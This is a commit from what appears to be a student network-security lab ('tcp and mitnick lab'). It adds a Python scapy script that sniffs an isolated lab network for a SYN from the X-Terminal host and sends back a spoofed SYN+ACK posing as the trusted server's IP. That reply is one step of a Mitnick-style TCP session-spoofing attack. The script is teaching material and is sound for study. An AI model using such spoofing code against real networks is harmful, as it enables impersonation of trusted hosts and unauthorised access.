tcp and mitnick lab finished

This commit is contained in:
2026-05-08 21:21:45 +08:00
parent 31394e883b
commit d34f7f95dc
35 changed files with 22263 additions and 31 deletions

View File

@@ -0,0 +1,25 @@
#!/usr/bin/python3
from scapy.all import *
# IP Addresses
X_IP = "10.9.0.5"
SRV_IP = "10.9.0.6"
# Ports
SECOND_PORT = 9090
def spoof_second_connection(pkt):
if pkt[TCP].flags == "S" and pkt[IP].dst == SRV_IP and pkt[TCP].dport == SECOND_PORT:
print(f"Received SYN for second connection from X-Terminal (Seq: {pkt[TCP].seq})")
# Send SYN+ACK
my_seq = 0x87654321
ip = IP(src=SRV_IP, dst=X_IP)
tcp = TCP(sport=SECOND_PORT, dport=pkt[TCP].sport, flags="SA",
seq=my_seq, ack=pkt[TCP].seq + 1)
print("Sending spoofed SYN+ACK for second connection")
send(ip/tcp, verbose=0)
print(f"Waiting for second connection on port {SECOND_PORT}...")
sniff(iface="br-63cae30f0395", filter=f"tcp and src host {X_IP} and dst port {SECOND_PORT}",
prn=spoof_second_connection, count=1, timeout=20)